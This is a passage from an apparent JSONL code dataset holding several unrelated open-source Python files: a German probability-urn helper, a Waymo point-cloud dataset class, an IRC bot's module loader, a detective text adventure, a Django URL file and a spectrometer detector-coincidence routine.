Ergebnismenge Zahlen zu)\n\t\t \nWird eine Liste mit nur zwei unterschiedlichen Objekten angegeben, wird \nbei Verwendung der Funktion ``anzahl_treffer``\n \n bei Wiederholung von Elementen ein BernoulliKette - Objekt\n \n bei Nicht-Wiederholung von Elementen ein HyperGeometrischeVerteilung -\n Objekt\n \nerzeugt\n\nBezeichner, die l\u00e4nger als ein Zeichen sind, m\u00fcssen als Zeichenkette \neingegeben oder vordeklariert werden, etwa ``Raucher = Symbol('Raucher'``)\n\n \"\"\"\n\t\n def __new__(cls, *args, **kwargs): \n\t\t\t\n if kwargs.get(\"h\") in (1, 2, 3): \n urne_hilfe(kwargs[\"h\"])\t \n return\n\t\t\t\n try:\t\t\t\n if len(args) == 1:\n args = args[0], 1\t\t\t\n if len(args) != 2:\n raise ZufallError('ein oder zwei Argumente angeben')\n if not isinstance(args[0], (list, dict)) and isinstance(args[1], (int, Integer)):\n raise ZufallError('Liste/dict und Anzahl Stufen angeben')\n if isinstance(args[0], list):\t\t\t\t\n def list_kontrolle(liste):\n if all([isinstance(x, (Symbol, str, int, Integer)) for x in liste]):\n return True\n if all([isinstance(x, (list, tuple)) and len(x) == 2 for x in liste]):\n s = all([isinstance(x[0], (Symbol, str, int, Integer)) for x in liste])\t\t\n w = all([isinstance(x[1], (int, Integer)) for x in liste])\n if s and w:\n return True\n return False\n return False\t\t\t\t\n \n def einfach(liste):\n if all([isinstance(x, list) and len(x)==2 and not isinstance(x[1], list) \\\n for x in liste]):\n return True \n if any([isinstance(x, list) for x in liste]):\n return False\t\t\t\n return True \n\t\t\t\t\n def einfacheinfach(liste):\n if all([isinstance(x, (Symbol, str, int, Integer)) for x in liste]):\n return True\n return False\n\t\t\t\t\n if not list_kontrolle(args[0]): \n raise ZufallError('Liste \u00fcberpr\u00fcfen')\n if not einfach(args[0]): \n raise ZufallError('es sind nur einfache Listen erlaubt')\n aa = args[0]\t\t\t\t\t\n if einfacheinfach(aa): \n aa = [[x, 1] for x in aa] \t\t\t\t\n try:\t\t\t\t\t\n args = dict(aa), args[1]\n except ValueError:\n print('zufall: Liste mu\u00df in dict transformierbar sein')\n return\t\t\t\t\t\n ze = ZufallsExperiment(*args, w=kwargs.get('w'), a=kwargs.get('a'))\n\t\t\t\n if ze is None:\n raise ZufallError('Argumente \u00fcberpr\u00fcfen')\n\t\t\t\t\n except ZufallError as e:\n print('zufall:', str(e))\n return\n\n return ZufallsExperiment.__new__(cls, *args, **kwargs)\t\t\t\n\t\t\t\t\t\n\t\t\t\n def __str__(self): \n txt1 = (', mit' if self.wiederh else ', ohne') + ' Wiederholung '\n txt2 = (', mit' if self.anordn else ', ohne') + ' Anordnung)'\n return \"Urne\"\t+ \"(Stufen=\" + str(self.stufen) + txt1 + txt2\n\t\t\t\t\n @property\t\t\n def hilfe(self): \n \"\"\"Bezeichner der Eigenschaften und Methoden\"\"\"\n urne_hilfe(3)\t\n\t\t\n h = hilfe\t\t\t\t\t\n\t\t\n\t\t\n# Benutzerhilfe f\u00fcr Urne\n# ----------------------\n\ndef urne_hilfe(h):\n \n if h == 1:\n print(\"h=2 - Erzeugung\")\n print(\"h=3 - Eigenschaften und Methoden\")\n return\n\t\t \n if h == 2:\n print(\"\"\" \\\n\t\t\nUrne - Objekt\n\nErzeugung Urne( liste | dict /[, stufen ] )\n\n dict { obj1:zahl1, obj2:zahl2, ...}\n liste [ [obj, zahl], [obj1, zahl1], ...] oder\n \t [ obj1, obj2, ...] = [ [obj1, 1], [obj2, 1], ...]\n obj Bezeichner | ganze Zahl >= 0\n stufen Anzahl Stufen; Standard=1 \n\t\t\t\t \nZusatz a=nein keine Beachtung der Anordnung/Reihenfolge; Standard=ja\n w=nein keine Wiederholung von Elementen; Standard=ja\n f=funktions_name Name einer ZG-Funktion (Element der Ergebnis-\n menge -> Zahl)\n\t\t \nWird eine Liste mit nur zwei unterschiedlichen Objekten angegeben, wird \nbei Verwendung der Funktion anzahl_treffer\n \n bei Wiederholung von Elementen ein BernoulliKette-Objekt\n \n bei Nicht-Wiederholung von Elementen ein HyperGeometrischeVerteilung-\n Objekt\n \nerzeugt\n\nBezeichner, die l\u00e4nger als ein Zeichen sind, m\u00fcssen als Zeichenkette ein-\ngegeben oder vordeklariert werden, etwa Raucher = Symbol('Raucher')\n\t\t\nZuweisung u = Urne(...) (u - freier Bezeichner)\n\nBeispiele\nUrne([a, b, c]) ( = Urne( {a:1, b:1, c:1} ) )\nUrne( {'rot':3, 'gr\u00fcn':4, 'blau':2 }, 2)\t\t\nUrne( {r:3, g:4, b:2 }, 4, a=nein)\t\t\nUrne( {r:3, g:4 }, 4, f=anzahl_treffer) - BernoulliKette-Objekt\t\t\nUrne( [ [r,3], [g,4] ], 4, w=nein, f=anzahl_treffer)\n - HyperGeometrischeVerteilung-Objekt\t\t\n\t \"\"\")\t\t\n return \n\t\t\n if h == 3: \n print(\"\"\" \\\n\t\t\nEigenschaften und Methoden (M) f\u00fcr Urne (ZufallsExperiment-Objekt)\n \nu.hilfe Bezeichner der Eigenschaften und Methoden\nu.anordn Beachtung der Anordnung/Reihenfolge\nu.ausfall = u.versuch\nu.baum Baumdiagramm\nu.baum_(...) M ebenso; zugeh\u00f6rige Methode\nu.n_omega Gr\u00f6\u00dfe der Ergebnismenge\nu.omega Ergebnismenge\nu.omega_(...) M ebenso; zugeh\u00f6rige Methode\nu.P(...) M Wahrscheinlichkeit eines Ereignisses\nu.relh2p(...) M Stabilisierung der relativen H\u00e4ufigkeiten\nu.stich_probe(...) M Stichprobe\nu.stufen Stufenanzahl des Experimentes\nu.versuch Versuch\nu.vert Wahrscheinlichkeitsverteilung\nu.vert_(...) M ebenso; zugeh\u00f6rige Methode\nu.wiederh Wiederholung von Elementen\nu.ziehen = u.versuch\n\nSynonyme Bezeichner\n\nhilfe h\nbaum_ Baum\nn_omega nOmega\nomega_ Omega\nstich_probe stichProbe\nvert_ Vert\n\nBei der Erzeugung eines BernoulliKette- oder HyperGeometrischeVerteilung-\nObjektes siehe entsprechende Hilfeseite\t\t\n\t \"\"\")\t\t\n return\n\t\n\t\n", "source": "HBOMAT/AglaUndZufall", "license": "Apache-2.0"} {"text": "import mmcv\nimport numpy as np\nimport os\nimport tempfile\nimport torch\nfrom mmcv.utils import print_log, build_from_cfg\nfrom os import path as osp\n\nfrom torch.utils.data import Dataset\nfrom mmdet.datasets import DATASETS, PIPELINES\nfrom ..core.bbox import Box3DMode, points_cam2img, get_box_type\nfrom .kitti_dataset import KittiDataset\nfrom .builder import OBJECTSAMPLERS\nfrom .pipelines import Compose\nfrom mmdet3d.ops import knn\nfrom torch_geometric.nn import knn as knn_cpu\n\n@DATASETS.register_module()\nclass WaymoGTDataset(Dataset):\n def __init__(self,\n db_sampler,\n box_type_3d='LiDAR',\n pipeline=None,\n test_mode=False,\n classes=None,\n split=None,\n gap=0.1,\n load_interval=1,\n visualize=False,\n train_interval=8,\n filter_by_points=dict(Car=30, Pedestrian=30),\n maximum_samples=dict(Car=200, Pedestrian=200),\n use_single=True,\n use_couple=True,\n points_loader=dict(\n type='LoadPointsFromFile',\n coord_type='LIDAR',\n load_dim=5,\n use_dim=[0,1,2])):\n super().__init__()\n if 'type' not in db_sampler.keys():\n db_sampler['type'] = 'DataBaseSampler'\n # self.db_sampler.sampler_dict['Car']._sampled_list\n # self.db_sampler.data_root, self.sampler\n self.box_type_3d, self.box_mode_3d = get_box_type(box_type_3d)\n self.CLASSES = classes\n self.cat2id = {name: i for i, name in enumerate(self.CLASSES)}\n if pipeline is not None:\n self.pipeline = Compose(pipeline)\n self.test_mode = test_mode\n self.gap = gap\n\n self.samples = {}\n self.indices = {}\n for cls in classes:\n self.samples[cls] = []\n self.indices[cls] = []\n for i, sample in enumerate(\n self.db_sampler.sampler_dict[cls]._sampled_list):\n if sample['num_points_in_gt'] < filter_by_points[cls]:\n continue\n self.samples[cls].append(sample)\n self.indices[cls].append(i)\n if len(self.samples[cls]) >= maximum_samples[cls]:\n break\n\n import itertools\n self.scenes = []\n # Single Object Scenes\n if use_single:\n for cls in classes:\n for i in range(len(self.samples[cls])):\n self.scenes.append({cls: i})\n\n if use_couple:\n if split == 'training':\n for cls1, cls2 in itertools.combinations(classes, 2):\n for i in range(len(self.samples[cls1])):\n for j in range(len(self.samples[cls2])):\n if (i + j) % train_interval == 0:\n self.scenes.append({cls1: i, cls2: j})\n else:\n for cls1, cls2 in itertools.combinations(classes, 2):\n for i in range(len(self.samples[cls1])):\n for j in range(len(self.samples[cls2])):\n if (i + j) % train_interval != 0:\n self.scenes.append({cls1: i, cls2: j})\n \n self.scenes = self.scenes[::load_interval]\n self.trans = {}\n\n self.points_loader = mmcv.build_from_cfg(points_loader, PIPELINES)\n \n if not self.test_mode:\n self._set_group_flag()\n if visualize:\n import polyscope as ps\n ps.init()\n for cls in classes:\n print(f'visualizing class={cls}')\n ps.remove_all_structures()\n for idx, sample in enumerate(self.samples[cls]):\n pts_filename = os.path.join(\n self.db_sampler.data_root, sample['path']\n )\n print(pts_filename)\n results = dict(pts_filename=pts_filename)\n cls_points = self.points_loader(results)['points'].tensor.cpu().numpy()\n cls_points += np.array([(idx // 15) * 5, 0, (idx % 15) * 5])\n ps.register_point_cloud(f'sample-{idx}', cls_points)\n ps.show()\n \n def __len__(self):\n return len(self.scenes)\n\n def get_data_info(self, index):\n \"\"\"Get data info according to the given index.\n\n Args:\n index (int): Index of the sample data to get.\n\n Returns:\n dict: Standard input_dict consists of the\n data information.\n\n - sample_idx (str): sample index\n - pts_filename (str): filename of point clouds\n - img_prefix (str | None): prefix of image files\n - img_info (dict): image info\n - lidar2img (list[np.ndarray], optional): transformations from\n lidar to different cameras\n - ann_info (dict): annotation info\n \"\"\"\n scene = self.scenes[index]\n points, gt_labels = None, None\n for cls in self.CLASSES:\n idx = scene.get(cls, None)\n if idx is not None:\n sample = self.samples[cls][idx]\n pts_filename = os.path.join(\n self.db_sampler.data_root, sample['path']\n )\n results = dict(pts_filename=pts_filename)\n cls_points = self.points_loader(results)['points']\n cls_gt_labels = torch.zeros(cls_points.shape[0]).long()+self.cat2id[cls]\n if points is None:\n points = cls_points\n gt_labels = cls_gt_labels\n else:\n max0, min0 = points.tensor.max(0)[0], points.tensor.min(0)[0]\n #print(max0.shape, min0.shape, max0, min0)\n max1, min1 = cls_points.tensor.max(0)[0], cls_points.tensor.min(0)[0]\n dim, sign = np.random.randint(3), np.random.randint(2)\n trans = self.trans.get((index, cls, dim, sign), None)\n if trans is None:\n trans = torch.zeros(3)\n if sign == 0:\n trans[dim] = -(max1[dim] + self.gap - min0[dim])\n else:\n trans[dim] = -(min1[dim] - self.gap - max0[dim])\n cls_points.tensor += trans\n _, indices = knn_cpu(points.tensor, cls_points.tensor, k=1)\n min_dist = (cls_points.tensor - points.tensor[indices]).norm(p=2, dim=-1)\n idx = min_dist.argmin()\n dr = points.tensor[indices[idx]] - cls_points.tensor[idx]\n unit_dr = dr / dr.norm(p=2, dim=-1)\n trans_i = unit_dr * (min_dist.min() - self.gap)\n trans += trans_i\n cls_points.translate(trans_i)\n self.trans[(index, cls, dim, sign)] = trans\n else:\n cls_points.translate(trans)\n points = points.cat([points, cls_points])\n gt_labels = torch.cat([gt_labels, cls_gt_labels], dim=0)\n\n points.translate(-points.tensor.mean(0)[:3])\n input_dict = dict(\n points = points,\n gt_labels = gt_labels)\n\n return input_dict\n \n def prepare_train_data(self, index):\n \"\"\"Training data preparation.\n\n Args:\n index (int): Index for accessing the target data.\n\n Returns:\n dict: Training data dict of the corresponding index.\n \"\"\"\n input_dict = self.get_data_info(index)\n #if input_dict is None:\n # return None\n #self.pre_pipeline(input_dict)\n example = self.pipeline(input_dict)\n #if self.filter_empty_gt and \\\n # (example is None or\n # ~(example['gt_labels_3d']._data != -1).any()):\n # return None\n return example\n \n def prepare_test_data(self, index):\n \"\"\"Prepare data for testing.\n\n Args:\n index (int): Index for accessing the target data.\n\n Returns:\n dict: Testing data dict of the corresponding index.\n \"\"\"\n input_dict = self.get_data_info(index)\n example = self.pipeline(input_dict)\n\n return example\n\n def __getitem__(self, idx):\n \"\"\"Get item from infos according to the given index.\n\n Returns:\n dict: Data dictionary of the corresponding index.\n \"\"\"\n if self.test_mode:\n return self.prepare_test_data(idx)\n while True:\n data = self.prepare_train_data(idx)\n if data is None:\n idx = self._rand_another(idx)\n continue\n return data\n \n def pre_pipeline(self, results):\n \"\"\"Initialization before data preparation.\n\n Args:\n results (dict): Dict before data preprocessing.\n\n - img_fields (list): Image fields.\n - bbox3d_fields (list): 3D bounding boxes fields.\n - pts_mask_fields (list): Mask fields of points.\n - pts_seg_fields (list): Mask fields of point segments.\n - bbox_fields (list): Fields of bounding boxes.\n - mask_fields (list): Fields of masks.\n - seg_fields (list): Segment fields.\n - box_type_3d (str): 3D box type.\n - box_mode_3d (str): 3D box mode.\n \"\"\"\n results['img_fields'] = []\n results['bbox3d_fields'] = []\n results['pts_mask_fields'] = []\n results['pts_seg_fields'] = []\n results['bbox_fields'] = []\n results['mask_fields'] = []\n results['seg_fields'] = []\n results['box_type_3d'] = self.box_type_3d\n results['box_mode_3d'] = self.box_mode_3d\n \n def _set_group_flag(self):\n \"\"\"Set flag according to image aspect ratio.\n\n Images with aspect ratio greater than 1 will be set as group 1,\n otherwise group 0. In 3D datasets, they are all the same, thus are all\n zeros.\n \"\"\"\n self.flag = np.zeros(len(self), dtype=np.uint8)\n\n def evaluate(self, results, logger=None, **kwargs):\n assert len(results) == len(self.scenes)\n acc, intersect_acc, dist2set = [], [], []\n for i, res_dict in enumerate(results):\n data = self.__getitem__(i)\n points = data['points'].data\n y = data['gt_labels'].data\n pred = res_dict['pred']\n prob = res_dict['prob']\n acc.append((pred == y).float())\n\n intersect = (y == -1)\n dist = torch.zeros_like(intersect, dtype=torch.float) + 1e5\n if y.min() < y.max():\n for l1 in range(y.min(), y.max()+1):\n p0 = points[y == l1].cuda()\n p1 = points[y != l1].cuda()\n indices = knn(1, p1.unsqueeze(0), p0.unsqueeze(0))\n dists = (p1[indices[0, 0]] - p0).norm(p=2, dim=-1).cpu()\n dist[y == l1] = dists\n #mask = (dists < 0.2)\n #intersect[y == l1] = mask\n #intersect_acc.append((pred == y)[intersect].float())\n dist2set.append(dist)\n \n acc = torch.cat(acc, dim=0)\n dist = torch.cat(dist2set, dim=0)\n ranges = torch.linspace(dist.min(), 0.5, 10)\n ranges = torch.cat([ranges, torch.zeros_like(ranges[0:1]) + 1e10])\n msg = f' acc={acc.mean().item():.4f}'\n for i, r in enumerate(ranges[1:]):\n l = ranges[i]\n acc_lr = acc[(dist <= r) & (dist >= l)].mean()\n ratio = ((dist <= r) & (dist >= l)).float().mean()\n msg += f', [{l:.3f}, {r:.3f}] ({ratio:.4f})={acc_lr:.4f}'\n #intersect_acc = torch.cat(intersect_acc, dim=0)\n acc = acc.mean().item()\n #intersect_acc = intersect_acc.mean().item()\n if logger is not None:\n logger.info(msg)\n else:\n print(msg)\n\n return dict(acc=acc)\n\n def __repr__(self):\n return f'{self.__class__.__name__}: scenes={len(self.scenes)}'\n", "source": "xiangruhuang/mmdetection3d", "license": "Apache-2.0"} {"text": "#!/usr/bin/env python\n\nimport sys, os, re, threading, imp\nimport irc\n\nhome = os.getcwd()\n\ndef decode(bytes): \n try: text = bytes.decode('utf-8')\n except UnicodeDecodeError: \n try: text = bytes.decode('iso-8859-1')\n except UnicodeDecodeError: \n text = bytes.decode('cp1252')\n return text\n\nclass Phenny(irc.Bot): \n def __init__(self, config): \n args = (config.nick, config.name, config.channels, config.password)\n irc.Bot.__init__(self, *args)\n self.config = config\n self.doc = {}\n self.stats = {}\n self.setup()\n\n def setup(self): \n self.variables = {}\n\n filenames = []\n if not hasattr(self.config, 'enable'): \n for fn in os.listdir(os.path.join(home, 'modules')): \n if fn.endswith('.py') and not fn.startswith('_'): \n filenames.append(os.path.join(home, 'modules', fn))\n else: \n for fn in self.config.enable: \n filenames.append(os.path.join(home, 'modules', fn + '.py'))\n\n if hasattr(self.config, 'extra'): \n for fn in self.config.extra: \n if os.path.isfile(fn): \n filenames.append(fn)\n elif os.path.isdir(fn): \n for n in os.listdir(fn): \n if n.endswith('.py') and not n.startswith('_'): \n filenames.append(os.path.join(fn, n))\n\n modules = []\n excluded_modules = getattr(self.config, 'exclude', [])\n for filename in filenames: \n name = os.path.basename(filename)[:-3]\n if name in excluded_modules: continue\n # if name in sys.modules: \n # del sys.modules[name]\n try: module = imp.load_source(name, filename)\n except Exception, e: \n print >> sys.stderr, \"Error loading %s: %s (in bot.py)\" % (name, e)\n else: \n if hasattr(module, 'setup'): \n module.setup(self)\n self.register(vars(module))\n modules.append(name)\n\n if modules: \n print >> sys.stderr, 'Registered modules:', ', '.join(modules)\n else: print >> sys.stderr, \"Warning: Couldn't find any modules\"\n\n self.bind_commands()\n\n def register(self, variables): \n # This is used by reload.py, hence it being methodised\n for name, obj in variables.iteritems(): \n if hasattr(obj, 'commands') or hasattr(obj, 'rule'): \n self.variables[name] = obj\n\n def bind_commands(self): \n self.commands = {'high': {}, 'medium': {}, 'low': {}}\n \n def bind(self, priority, regexp, func): \n print priority, regexp.pattern.encode('utf-8'), func\n # register documentation\n if not hasattr(func, 'name'): \n func.name = func.__name__\n if func.__doc__: \n if hasattr(func, 'example'): \n example = func.example\n example = example.replace('$nickname', self.nick)\n else: example = None\n self.doc[func.name] = (func.__doc__, example)\n self.commands[priority].setdefault(regexp, []).append(func)\n\n def sub(pattern, self=self): \n # These replacements have significant order\n pattern = pattern.replace('$nickname', re.escape(self.nick))\n return pattern.replace('$nick', r'%s[,:] +' % re.escape(self.nick))\n\n for name, func in self.variables.iteritems(): \n # print name, func\n if not hasattr(func, 'priority'): \n func.priority = 'medium'\n\n if not hasattr(func, 'thread'): \n func.thread = True\n\n if not hasattr(func, 'event'): \n func.event = 'PRIVMSG'\n else: func.event = func.event.upper()\n\n if hasattr(func, 'rule'): \n if isinstance(func.rule, str): \n pattern = sub(func.rule)\n regexp = re.compile(pattern)\n bind(self, func.priority, regexp, func)\n\n if isinstance(func.rule, tuple): \n # 1) e.g. ('$nick', '(.*)')\n if len(func.rule) == 2 and isinstance(func.rule[0], str): \n prefix, pattern = func.rule\n prefix = sub(prefix)\n regexp = re.compile(prefix + pattern)\n bind(self, func.priority, regexp, func)\n\n # 2) e.g. (['p', 'q'], '(.*)')\n elif len(func.rule) == 2 and isinstance(func.rule[0], list): \n prefix = self.config.prefix\n commands, pattern = func.rule\n for command in commands: \n command = r'(%s)\\b(?: +(?:%s))?' % (command, pattern)\n regexp = re.compile(prefix + command)\n bind(self, func.priority, regexp, func)\n\n # 3) e.g. ('$nick', ['p', 'q'], '(.*)')\n elif len(func.rule) == 3: \n prefix, commands, pattern = func.rule\n prefix = sub(prefix)\n for command in commands: \n command = r'(%s) +' % command\n regexp = re.compile(prefix + command + pattern)\n bind(self, func.priority, regexp, func)\n\n if hasattr(func, 'commands'): \n for command in func.commands: \n template = r'^%s(%s)(?: +(.*))?$'\n pattern = template % (self.config.prefix, command)\n regexp = re.compile(pattern)\n bind(self, func.priority, regexp, func)\n\n def wrapped(self, origin, text, match): \n class PhennyWrapper(object): \n def __init__(self, phenny): \n self.bot = phenny\n\n def __getattr__(self, attr): \n sender = origin.sender or text\n if attr == 'reply': \n return (lambda msg: \n self.bot.msg(sender, origin.nick + ': ' + msg))\n elif attr == 'say': \n return lambda msg: self.bot.msg(sender, msg)\n return getattr(self.bot, attr)\n\n return PhennyWrapper(self)\n\n def input(self, origin, text, bytes, match, event, args): \n class CommandInput(unicode): \n def __new__(cls, text, origin, bytes, match, event, args): \n s = unicode.__new__(cls, text)\n s.sender = origin.sender\n s.nick = origin.nick\n s.event = event\n s.bytes = bytes\n s.match = match\n s.group = match.group\n s.groups = match.groups\n s.args = args\n s.admin = origin.nick in self.config.admins\n s.owner = origin.nick == self.config.owner\n return s\n\n return CommandInput(text, origin, bytes, match, event, args)\n\n def call(self, func, origin, phenny, input): \n try: func(phenny, input)\n except Exception, e: \n self.error(origin)\n\n def limit(self, origin, func): \n if origin.sender and origin.sender.startswith('#'): \n if hasattr(self.config, 'limit'): \n limits = self.config.limit.get(origin.sender)\n if limits and (func.__module__ not in limits): \n return True\n return False\n\n def dispatch(self, origin, args): \n bytes, event, args = args[0], args[1], args[2:]\n text = decode(bytes)\n\n for priority in ('high', 'medium', 'low'): \n items = self.commands[priority].items()\n for regexp, funcs in items: \n for func in funcs: \n if event != func.event and func.event != '*': continue\n\n match = regexp.match(text)\n if match: \n if self.limit(origin, func): continue\n\n phenny = self.wrapped(origin, text, match)\n input = self.input(origin, text, bytes, match, event, args)\n\n if func.thread: \n targs = (func, origin, phenny, input)\n t = threading.Thread(target=self.call, args=targs)\n t.start()\n else: self.call(func, origin, phenny, input)\n\n for source in [origin.sender, origin.nick]: \n try: self.stats[(func.name, source)] += 1\n except KeyError: \n self.stats[(func.name, source)] = 1\n\nif __name__ == '__main__': \n print __doc__\n", "source": "NeoMahler/rc-vikidia", "license": "MIT"} {"text": "#!/usr/bin/env python3\nimport sys, os, json\n# Check to make sure we are running the correct version of Python\nassert sys.version_info >= (3,7), \"This script requires at least Python 3.7\"\n\n# The game and item description files (in the same folder as this script)\ngame_file = 'game.json'\n\n\n# Load the contents of the files into the game and items dictionaries. You can largely ignore this\n# Sorry it's messy, I'm trying to account for any potential craziness with the file location\ndef load_files():\n try:\n __location__ = os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__)))\n with open(os.path.join(__location__, game_file)) as json_file: game = json.load(json_file)\n return game\n except:\n print(\"There was a problem reading either the game or item file.\")\n os._exit(1)\n\n\ndef render(game,current):\n c = game[current]\n print(\"Good morning Detective. The body of Alan Turner was found at 7am this morning by an office employee, and Alan's coworker, Alice Smith. Headquaters wants to label this a suicide, but me and the Police are not so sure. investigate the scene, and when you think you know the whole truth come visit the POLICE station. In the meantime don't forget to check out the ROOF, the BODY, the CORONER, the ROAD, the PARKING lot, the CAMERAS, the SUSPECTS, the A OFFICE, and the S OFFICES.\")\n print(\"You are at the \" + c[\"name\"])\n print(c[\"desc\"])\n\ndef get_input():\n response = input(\"Where do you want to go?\")\n response = response.upper().strip()\n return response\n\ndef update(game,current,response):\n c = game[current]\n for e in c[\"exits\"]:\n if response == e[\"exit\"]:\n return e[\"target\"]\n return current\n \n\n# The main function for the game\ndef main():\n current = 'BODY' # The starting location\n end_game = ['POLICE'] # Any of the end-game locations\n\n game = load_files()\n\n while True:\n render(game,current)\n\n for e in end_game:\n if current == e:\n print(\"You and the Police deliberated and discovered that Alice Smith was the one who killed Alan. She invited him up to the roof late at night and purposely loosened the bolts on the railing the previous day. She strangled him and placed the unconcious body up against the broken fence until gravity took over. In order to take credit for her and Alan's project, Alice attempted to shift suspicions from herself to her ex Carson. This is why you should never have an office romance.\")\n break #break out of the while loop\n\n response = get_input()\n\n if response == \"QUIT\" or response == \"Q\":\n break #break out of the while loop\n\n current = update(game,current,response)\n\n print(\"Thanks for playing!\")\n\n# run the main function\nif __name__ == '__main__':\n\tmain()", "source": "Casmic210/02-Text-Adventure", "license": "MIT"} {"text": "from django.conf.urls import url\n\nfrom .views import (\n LocationSearchView,\n)\n\nurlpatterns = [\n url(r'^create-location/$', LocationSearchView.as_view(), name='location_create'),\n]\n", "source": "letsmeet-click/letsmeet.click", "license": "MIT"} {"text": "# ===============================================================================\n# Copyright 2012 Jake Ross\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ===============================================================================\n\n# ============= enthought library imports =======================\nfrom __future__ import absolute_import\nfrom __future__ import print_function\n\n# ============= standard library imports ========================\nfrom random import random\n\nfrom six.moves.configparser import ConfigParser\nfrom traits.api import List, HasTraits, Str, Bool, Float, Property\nfrom traitsui.api import UItem, TableEditor\n# ============= local library imports ==========================\nfrom traitsui.extras.checkbox_column import CheckboxColumn\nfrom traitsui.table_column import ObjectColumn\n\nfrom pychron.core.helpers.traitsui_shortcuts import okcancel_view\nfrom pychron.core.stats.peak_detection import PeakCenterError\nfrom pychron.spectrometer import get_spectrometer_config_path\nfrom pychron.spectrometer.jobs.magnet_sweep import MagnetSweep\nfrom pychron.spectrometer.jobs.peak_center import calculate_peak_center, BasePeakCenter\n\n\nclass ResultsView(HasTraits):\n results = List\n clean_results = Property(depends_on='results')\n\n def _get_clean_results(self):\n return [c for c in self.results if c.enabled]\n\n def traits_view(self):\n cols = [CheckboxColumn(name='enabled'),\n ObjectColumn(name='name'),\n ObjectColumn(name='old_deflection'),\n ObjectColumn(name='new_deflection')]\n\n v = okcancel_view(UItem('results', editor=TableEditor(columns=cols,\n sortable=False)),\n title='Deflection Results')\n return v\n\n\nclass DeflectionResult(HasTraits):\n name = Str\n enabled = Bool(True)\n new_deflection = Float\n old_deflection = Float\n\n def __init__(self, name, o, n, *args, **kw):\n super(DeflectionResult, self).__init__(*args, **kw)\n self.name = name\n self.old_deflection = o\n self.new_deflection = n\n\n\nclass Coincidence(BasePeakCenter, MagnetSweep):\n title = 'Coincidence'\n inform = False\n\n def __init__(self, *args, **kw):\n super(Coincidence, self).__init__(*args, **kw)\n self.window = 0.015\n self.step_width = 0.0005\n self.percent = 80\n\n def _reference_detector_default(self):\n self.additional_detectors = [di.name for di in self.detectors[1:]]\n return self.detectors[0].name\n\n def _post_execute(self):\n \"\"\"\n calculate all peak centers\n\n calculate relative shifts to a reference detector. not necessarily the same\n as the reference detector used for setting the magnet\n \"\"\"\n graph = self.graph\n plot = graph.plots[0]\n\n # time.sleep(0.05)\n\n # wait for graph to fully update\n # time.sleep(0.1)\n\n # def get_peak_center(i, di):\n def get_peak_center(di):\n try:\n lp = plot.plots[di][0]\n except KeyError:\n lp = plot.plots['*{}'.format(di)][0]\n\n xs = lp.index.get_data()\n ys = lp.value.get_data()\n\n cx = None\n if len(xs) and len(ys):\n try:\n result = calculate_peak_center(xs, ys)\n cx = result[0][1]\n except PeakCenterError:\n self.warning('no peak center for {}'.format(di))\n\n return cx\n\n spec = self.spectrometer\n\n centers = {d: get_peak_center(d) for d in self.active_detectors}\n print(centers)\n ref = self.reference_detector\n post = centers[ref]\n if post is None:\n return\n\n results = []\n for di in self.active_detectors:\n di = spec.get_detector(di)\n cen = centers[di.name]\n if cen is None:\n continue\n\n dac_dev = post - cen\n if dac_dev < 0:\n sign = -1\n else:\n sign = 1\n\n if self.spectrometer.simulation:\n dac_dev = -random()\n\n if abs(dac_dev) < 0.001:\n self.info('no offset detected between {} and {}'.format(ref, di.name))\n continue\n\n defl = sign * di.map_dac_to_deflection(abs(dac_dev))\n self.info('{} dac dev. {:0.5f}. converted to deflection voltage {:0.1f}.'.format(di.name, dac_dev, defl))\n\n curdefl = di.deflection\n newdefl = int(curdefl + defl)\n newdefl = max(0, min(newdefl, self.spectrometer.max_deflection))\n\n if newdefl >= 0:\n results.append(DeflectionResult(di.name, curdefl, newdefl))\n\n if not results:\n self.information_dialog('no deflection changes needed')\n else:\n rv = ResultsView(results=results)\n info = rv.edit_traits()\n if info.result:\n config = ConfigParser()\n # p = os.path.join(paths.spectrometer_dir, 'config.cfg')\n p = get_spectrometer_config_path()\n config.read(p)\n for v in rv.clean_results:\n config.set('Deflections', v.name, v.new_deflection)\n det = next((d for d in self.active_detectors if d.lower() == v.name.lower()))\n det = spec.get_detector(det)\n det.deflection = v.new_deflection\n\n with open(p, 'w') as wfile:\n config.write(wfile)\n\n self.spectrometer.clear_cached_config()\n\n# ============= EOF =============================================\n\n# class CoincidenceScan(MagnetScan):\n# start_value = 39\n# stop_value = 40\n# step_value = 0.005\n# title = 'Coincidence Scan'\n# inform = True\n#\n# def _reference_detector_changed(self, new):\n# self.additional_detectors = [di.name for di in self.spectrometer.detectors\n# if di.name != new]\n#\n# def _post_execute(self):\n# \"\"\"\n# calculate all peak centers\n#\n# calculate relative shifts to a reference detector. not necessarily the same\n# as the reference detector used for setting the magnet\n# \"\"\"\n# graph = self.graph\n# plot = graph.plots[0]\n#\n# def get_peak_center(i, di):\n# lp = plot.plots[di.name][0]\n# xs = lp.index.get_data()\n# ys = lp.value.get_data()\n#\n# # result = None\n# cx = None\n# if len(xs) and len(ys):\n# try:\n# result = calculate_peak_center(xs, ys)\n# cx = result[0][1]\n# except PeakCenterError:\n# self.warning('no peak center for {} {}'.format(di.name, di.isotope))\n# # if result is None or isinstance(result, str):\n# # self.warning('no peak center for {} {}'.format(di.name, di.isotope))\n# # else:\n# return cx\n#\n# spec = self.spectrometer\n# centers = dict([(di.name, get_peak_center(i, di))\n# for i, di in enumerate(spec.detectors)])\n#\n# # calculate relative to AX\n# config = ConfigParser()\n# p = os.path.join(paths.spectrometer_dir, 'config.cfg')\n# config.read(open(p, 'r'))\n#\n# ref = self.reference_detector\n# post = centers[ref]\n# if post is None:\n# return\n#\n# no_change = True\n# for di in spec.detectors:\n# cen = centers[di.name]\n# if cen is None:\n# continue\n#\n# dac_dev = post - cen\n# if abs(dac_dev) < 0.001:\n# self.info('no offset detected between {} and {}'.format(ref, di.name))\n# no_change = True\n# continue\n#\n# no_change = False\n#\n# defl = di.map_dac_to_deflection(dac_dev)\n# self.info('{} dac dev. {:0.5f}. converted to deflection voltage {:0.1f}.'.format(di.name, dac_dev, defl))\n#\n# curdefl = di.deflection\n# newdefl = int(curdefl + defl)\n# if newdefl > 0:\n# msg = 'Apply new 